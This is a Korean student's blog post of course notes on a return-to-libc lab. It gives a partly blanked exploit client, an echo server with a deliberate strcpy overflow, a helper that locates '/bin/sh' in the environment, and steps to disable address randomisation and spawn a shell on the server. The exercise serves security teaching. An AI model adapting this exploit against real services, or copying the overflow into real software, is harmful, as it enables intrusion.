발자취
시스템 보안 07-2. 코드 재사용 공격 실습 1 - RTL 본문
실습에는 총 두가지의 코드 파일이 필요하다.
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include "echo.h"
#define NOP 0x90
int main(int argc, char* argv[])
{
int so, op;
Packet pkt;
unsigned long runSystem_address, runExit_address, shell_address;
struct sockaddr_in remote_addr;
struct sockaddr_in local_addr;
if(argc != 3) {
printf("Usage: echo_retlib <ip_address> <port> \n");
exit(-1);
}
bzero(&remote_addr, sizeof(struct sockaddr_in));
bzero(&local_addr, sizeof(struct sockaddr_in));
remote_addr.sin_family = AF_INET;
remote_addr.sin_addr.s_addr = inet_addr(argv[1]);
remote_addr.sin_port = htons(atoi(argv[2]));
local_addr.sin_family = AF_INET;
if ((so = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("Failure in creating socket\n");
exit(-1);
}
op = 1;
if (setsockopt(so, SOL_SOCKET, SO_REUSEADDR, (char *)&op, sizeof(op)) < 0) {
printf("Failure in setting socket options\n");
exit(-1);
}
if (bind(so, (struct sockaddr*) &local_addr, sizeof(struct sockaddr_in)) < 0) {
printf("Failure in binding port\n");
exit(-1);
}
if (connect(so, (struct sockaddr_in *) &remote_addr, sizeof(struct sockaddr_in)) < 0)
{
printf("Failure in connecting to %s\n", inet_ntoa(remote_addr.sin_addr));
exit(-1);
}
runExit_address = ;
runSystem_address = ;
shell_address = ;
/********** Exploit Code Part ********************/
pkt.type = _TYPE_ECHO_;
memset(pkt.hostname, NOP, sizeof(pkt.hostname));
memset(pkt.buf, NOP, sizeof(pkt.buf)-1);
*(unsigned long *) &pkt.buf[] = ;
*(unsigned long *) &pkt.buf[] = ;
*(unsigned long *) &pkt.buf[] = ;
pkt.buf[BUFFER_SIZE-1]=0;
/********** Exploit Code Part ********************/
send(so, (char *)&pkt, sizeof(Packet), 0);
close(so);
}
echo_retlib.c
RTL 공격을 위해 사용되는 파일
#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<unistd.h>
#include<stdlib.h>
#include<stdio.h>
#include<string.h>
#include"echo.h"
void doEcho(Packet *p)
{
char cmd[8];
strcpy(cmd,p->hostname);
printf("%s\n", cmd);
}
void runSystem(char *cmd)
{
system(cmd);
}
void runExit()
{
exit(0);
}
void runCommand(char *cmd)
{
runSystem(cmd);
runExit();
}
int main(int argc, char *argv[])
{
int port=15000,create_socket,new_socket,addrlen;
Packet recvPacket;
struct sockaddr_in address;
printf("Current stack address: %8X\n",&address);
if(argc>1) port=atoi(argv[1]);
if ((create_socket = socket(AF_INET,SOCK_STREAM,0)) > 0) {
printf("socket created\n");
} else {
printf("Fail to create socket\n");
return 1;
}
address.sin_family = AF_INET;
address.sin_addr.s_addr = INADDR_ANY;
address.sin_port = htons(port);
if (bind(create_socket,(struct sockaddr *)&address,sizeof(address)) == 0) {
printf("Socket binded to port %d\n",port);
} else {
printf("Fail to bind socket\n");
return 1;
}
listen(create_socket,3);
addrlen = sizeof(struct sockaddr_in);
new_socket = accept(create_socket,(struct sockaddr *)&address,&addrlen);
if (new_socket > 0){
printf("The Client %s is connected...\n",inet_ntoa(address.sin_addr));
}
do{
bzero((char *)&recvPacket,sizeof(Packet));
recv(new_socket,(char *)&recvPacket,sizeof(Packet),0);
if(recvPacket.type == _TYPE_ECHO_)
doEcho(&recvPacket);
send(new_socket,(char *)&recvPacket,sizeof(Packet),0);
}while(recvPacket.type!=_TYPE_END_);
close(new_socket);
close(create_socket);
}
echo_server_RTL.c
RTL 공격의 대상이 되는 서버 파일
두 개의 터미널을 화면에 띄운다. 공격자용 터미널과 서버용 터미널이다.

공격자용과 서버용 모두에서 위 명령어를 실행한다.
환경변수를 지정해주는 명령어이다.

역시 이 명령어도 공격자용과 서버용 모두에서 실행해줘야 한다.
ASRL처럼 시스템 상에서 주소를 난수화해주는 기능을 비활성화 시켜주는 명령어이다.

echo_retlibc.c의 68~70번 라인을 채우기 위해 적절한 주소값을 알아와야 한다.
해야할 일
1. runExit, runSystem 함수의 주소 알아오기
2. shell_address에 넣을 "/bin/sh" 주소 알아오기
1. runExit, runSystem 함수의 주소 알아오기

[서버 터미널]
echo_server_RTL을 컴파일한다. -static 옵션을 사용하여 주소 체계가 바뀌지 않도록 해준다.
objdump를 사용하여 각 함수들의 주소를 알아낸다.
*objdump: 해당 프로그램 안에 선언된 함수들의 주소를 알 수 있는 명령어
- runExit: 08049db9
- runSystem: 08049d92
2. shell_address에 넣을 "/bin/sh" 주소 알아오기
#include <stdio.h>
void main()
{
char *shell_addr = getenv("ATTACKSHELL");
if (shell_addr)
printf ("0x%x\n", (unsigned int)shell_addr);
}
shell_addr.c
shell_address(/bin/sh의 주소)를 알아내기 위해 작성한 코드

[서버 터미널]
컴파일 후 실행해주면 0xbfffff4b라는 주소가 나온다.
이 주소에서 ATTACKSHELL의 사이즈를 빼주면 된다!
- shell_address: bfffff41

위에서 알아낸 주소값으로 68~70번 라인을 채우고,
79~81번 라인을 채워준다.
이제 실행만 해주면 된다.

[공격자 터미널]
echo_retlibc.c를 컴파일 해준다.

[서버 터미널]
서버를 실행해주고

[공격자 터미널]
echo_retlibc 실행해주면

[서버 터미널]
서버에서 /bin/sh이 실행된다!
'3-2 > 시스템보안' 카테고리의 다른 글
| 시스템 보안 07-2. 코드 재사용 공격 실습 2 - ROP (0) | 2023.12.15 |
|---|---|
| 시스템 보안 07-1. 코드 재사용 공격 (0) | 2023.12.15 |
| 시스템 보안 05-2. 버퍼 오버플로우 연습문제 (0) | 2023.12.14 |
| 시스템 보안 06. 쉘코드 기본 개념 및 연습문제 (0) | 2023.11.21 |
| 시스템 보안 05-1. 버퍼 오버플로우 공격 (0) | 2023.11.03 |